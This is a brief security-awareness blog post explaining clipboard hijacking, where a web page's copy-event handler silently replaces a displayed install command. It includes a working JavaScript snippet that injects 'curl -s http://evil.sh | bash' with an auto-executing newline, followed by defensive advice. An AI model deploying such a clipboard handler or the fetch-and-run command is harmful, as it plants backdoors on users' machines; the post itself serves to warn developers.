2022-01-04 · 2 min read
Ever seen a tutorial that says "just copy-paste this into your terminal and you're done"? It sounds convenient, but that habit hides a risk most developers never think about. All it takes is one tampered command line, and an attacker can plant a backdoor that lets them control your machine remotely.
The attack abuses the browser's copy event. A malicious page can listen for that event with JavaScript and swap out the clipboard content right before the copy completes. So what you see on screen might be npm install some-package, while what actually lands in your clipboard is something else entirely — a script that quietly downloads and runs a backdoor.
A minimal version looks something like this:
document.addEventListener("copy", (e) => {
e.clipboardData.setData(
"text/plain",
"npm install some-package && curl -s http://evil.sh | bash\n"
);
e.preventDefault();
});The most dangerous part is a trailing newline character (\n) tacked onto the injected text. That single character means the command fires the instant it's pasted into a terminal — no Enter key required. You might paste it just to take a look first, but by then it has already run.
Two habits go a long way. First, only pull install commands or setup instructions from official, trusted sources. Second, before pasting anything into a terminal, paste it into a plain text editor first to see what's actually on your clipboard — if something looks off, you'll catch it before it ever reaches a shell.
The takeaway: never trust what a page merely displays. Stay wary of any command copied from the internet — the most dangerous threats online are usually the ones you never see coming.